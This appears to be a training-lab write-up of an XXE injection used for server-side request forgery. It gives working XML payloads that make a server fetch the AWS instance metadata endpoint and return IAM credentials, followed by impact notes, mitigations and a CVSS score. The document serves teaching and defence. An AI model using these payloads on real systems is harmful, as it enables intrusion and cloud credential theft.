

Exploiting XXE to perform SSRF attacks

Topic: XXE Injection | Difficulty: Apprentice

Description

The XML parser processes external entities that reference HTTP URLs. By declaring an external entity pointing to the AWS instance metadata endpoint (`http://169.254.169.254/`), the server fetches the URL and returns its contents, exposing internal IAM credentials.

Steps to Exploit

1. Navigate to a product page and click 'Check stock'.
2. Intercept the POST request in Burp Suite.
3. Inject a DOCTYPE with an external entity referencing `http://169.254.169.254/`
4. Reference the entity in productId and forward the request.
5. The response returns 'latest' -- append it to the URL and repeat.
6. Continue navigating: `/latest/meta-data/` then `/iam/security-credentials/`
7. The final response reveals the IAM role name (e.g., 'admin').
8. Set the entity URL to `.../iam/security-credentials/admin` to retrieve the credentials.

Proof of Concept

Step 1 -- Initial SSRF payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

Step 1 Response:

```
latest
```

Final payload (after traversal):

```
<!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
```

Final Response:

```
SecretAccessKey, Token, and IAM credentials returned.
```

Impact

- Server-side request forgery to internal network services.
- Exposure of cloud IAM credentials and access tokens.
- Ability to interact with internal APIs not exposed to the internet.
- Potential for full cloud account takeover via stolen IAM credentials.

Mitigation / Remediation

1. Disable external entity processing in all XML parsers.
2. Block outbound HTTP requests to internal IP ranges (169.254.x.x, 10.x.x.x, 192.168.x.x).
3. Implement IMDSv2 with session-oriented requests to limit metadata exposure.
4. Monitor and alert on unexpected outbound requests from the application server.

CVSS Score

CVSS v3.1: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS Justification

- Attack Vector: Network - remotely exploitable.
- Attack Complexity: Low - simple XML injection.
- Privileges Required: None.
- User Interaction: None.
- Confidentiality: High - IAM credentials exposed.
- Integrity: High - stolen credentials allow resource manipulation.
- Availability: None.